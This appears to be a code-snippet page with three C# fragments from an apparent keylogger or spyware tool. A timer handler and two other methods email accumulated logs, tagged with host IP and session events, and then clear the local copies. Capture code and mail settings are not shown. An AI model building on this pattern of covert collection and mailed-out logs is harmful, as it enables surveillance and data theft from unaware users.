示例#1
0
        private static void Main_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
        {
            if (GlobalVariables.GlobalVariables.MainData.Length == 0)
            {
                return;
            }

            if (GlobalVariables.GlobalVariables.HostIp == string.Empty)
            {
                HostInfo.HostInfo.GetIp();
            }

            SharedMethods.SendMail(string.Format(SharedMethods.GetMailSubject(), " - Logs of ### "));
            SharedMethods.ClearLogs();
        }
示例#2
0
 internal static void SendLogs()
 {
     SharedMethods.SendMail(string.Format(SharedMethods.GetMailSubject(), " - Logs of ### "));
     SharedMethods.ClearLogs();
 }
示例#3
0
 private static void EventHandling(string sessionevent)
 {
     SharedMethods.SendMail(string.Format(SharedMethods.GetMailSubject(), " - ## " + sessionevent + " ## - Logs of ### "));
     SharedMethods.ClearLogs();
 }